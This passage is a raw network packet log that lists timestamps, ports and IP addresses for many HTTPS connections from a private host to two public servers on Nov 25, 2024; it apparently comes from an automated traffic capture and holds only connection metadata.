Nov 25, 2024 05:59:12.179347992 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.615751028 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.616342068 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.616364002 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.616723061 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.616728067 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.721280098 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.721771002 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.721831083 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.722209930 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.722225904 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.754982948 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.755537987 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.755557060 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.755806923 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.755810976 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.796266079 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.796690941 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.796737909 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.797049999 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.797068119 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.957001925 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.957392931 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.957442999 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:13.957783937 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:13.957794905 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.058073044 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.058247089 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.058301926 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.058387041 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.058398008 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.058407068 CET	49817	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.058412075 CET	443	49817	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.061285973 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.061300039 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.061362028 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.061522007 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.061532021 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.165381908 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.165456057 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.165519953 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.165647030 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.165693998 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.165728092 CET	49814	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.165744066 CET	443	49814	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.168253899 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.168288946 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.168354034 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.168544054 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.168556929 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.203026056 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.203077078 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.203121901 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.203248978 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.203263044 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.203275919 CET	49815	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.203279972 CET	443	49815	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.205302954 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.205319881 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.205379009 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.205511093 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.205516100 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.259053946 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.259135008 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.259196043 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.259434938 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.259434938 CET	49816	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.259480000 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.259505033 CET	443	49816	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.261519909 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.261544943 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.261599064 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.261915922 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.261929035 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.400598049 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.400649071 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.400723934 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.400938988 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.400984049 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.401014090 CET	49818	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.401029110 CET	443	49818	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.403817892 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.403830051 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:14.403920889 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.404092073 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:14.404100895 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.775058985 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.775500059 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.775527000 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.775991917 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.775995970 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.791234970 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:15.791263103 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:15.791445971 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:15.791549921 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:15.791560888 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:15.847788095 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.848202944 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.848217964 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.848721027 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.848725080 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.982403040 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.982969046 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.982986927 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:15.983334064 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:15.983338118 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.024235964 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.024837971 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.024852037 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.025125027 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.025130033 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.183686018 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.184142113 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.184156895 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.184570074 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.184575081 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.212868929 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.212937117 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.212990999 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.213102102 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.213114977 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.213124990 CET	49819	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.213129044 CET	443	49819	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.215580940 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.215605974 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.215693951 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.215853930 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.215864897 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.291960955 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.292042017 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.292094946 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.292196989 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.292212963 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.292221069 CET	49822	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.292224884 CET	443	49822	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.294504881 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.294533968 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.294634104 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.294769049 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.294781923 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.425405025 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.425451040 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.425580025 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.425789118 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.425800085 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.425808907 CET	49821	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.425812960 CET	443	49821	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.428626060 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.428653002 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.428736925 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.428906918 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.428917885 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.476121902 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.476301908 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.476355076 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.477591991 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.477591991 CET	49820	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.477603912 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.477611065 CET	443	49820	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.481483936 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.481525898 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.481585026 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.481698990 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.481710911 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.629182100 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.629230022 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.629290104 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.629465103 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.629468918 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.629477978 CET	49823	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.629481077 CET	443	49823	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.632009029 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.632036924 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:16.632117987 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.632275105 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:16.632286072 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:17.572333097 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:17.572665930 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:17.572689056 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:17.572977066 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:17.573266983 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:17.573323011 CET	443	49824	142.250.181.68	192.168.2.4
Nov 25, 2024 05:59:17.618005037 CET	49824	443	192.168.2.4	142.250.181.68
Nov 25, 2024 05:59:17.930414915 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:17.931010962 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:17.931031942 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:17.931406021 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:17.931410074 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.074292898 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.074817896 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.074842930 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.075357914 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.075365067 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.413734913 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.414203882 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.414232969 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.414284945 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.414709091 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.414712906 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.414741993 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.414755106 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.415095091 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.415098906 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.418214083 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.418488026 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.418520927 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.418797970 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.418808937 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.607222080 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.607269049 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.607374907 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.607584953 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.607601881 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.607613087 CET	49825	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.607618093 CET	443	49825	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.610255957 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.610301018 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.610395908 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.610537052 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.610555887 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.734133005 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.734205008 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.734482050 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.734482050 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.734482050 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.736737967 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.736761093 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.736833096 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.736958027 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.736973047 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.857424021 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.857486963 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.857568979 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.857722998 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.857733011 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.857743025 CET	49829	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.857748032 CET	443	49829	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.858520985 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.858588934 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.859580994 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.860421896 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.860486031 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.860521078 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.860521078 CET	49827	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.860528946 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.860528946 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.860537052 CET	443	49827	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.860676050 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.860692024 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.861428976 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.861449003 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.861455917 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.861493111 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.861505032 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.861517906 CET	49828	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.861524105 CET	443	49828	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.863125086 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.863147974 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.863435984 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.864104033 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.864115000 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.864218950 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.864231110 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:18.864243031 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.864317894 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:18.864331007 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:19.039642096 CET	49826	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:19.039654970 CET	443	49826	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.389319897 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.389787912 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.389825106 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.390189886 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.390197039 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.579353094 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.579787970 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.579823971 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.580250978 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.580262899 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.580733061 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.580981970 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.581000090 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.581331015 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.581336021 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.581343889 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.581545115 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.581572056 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.581906080 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.581912041 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.650347948 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.652921915 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.652947903 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.653384924 CET	49833	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.653395891 CET	443	49833	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.838517904 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.838624001 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.838800907 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.840259075 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.840286016 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.840297937 CET	49830	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.840302944 CET	443	49830	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.867135048 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.867161989 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:20.867232084 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.867394924 CET	49835	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:20.867405891 CET	443	49835	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.013684988 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.013736963 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.013819933 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.013989925 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.014034033 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.014065981 CET	49832	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.014081001 CET	443	49832	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.015638113 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.015714884 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.015769958 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.015873909 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.015891075 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.015913963 CET	49834	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.015923023 CET	443	49834	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.017527103 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.017558098 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.017616987 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.017760992 CET	49836	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.017775059 CET	443	49836	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.018227100 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.018258095 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.018317938 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.018454075 CET	49837	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.018464088 CET	443	49837	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.034904957 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.034981012 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.035032034 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.035111904 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.035124063 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.035135031 CET	49831	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.035140038 CET	443	49831	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.036864042 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.036875963 CET	443	49838	13.107.246.63	192.168.2.4
Nov 25, 2024 05:59:21.036931992 CET	49838	443	192.168.2.4	13.107.246.63
Nov 25, 2024 05:59:21.037029028 CET	49838	443	192.168.2.4	13.107.246.63
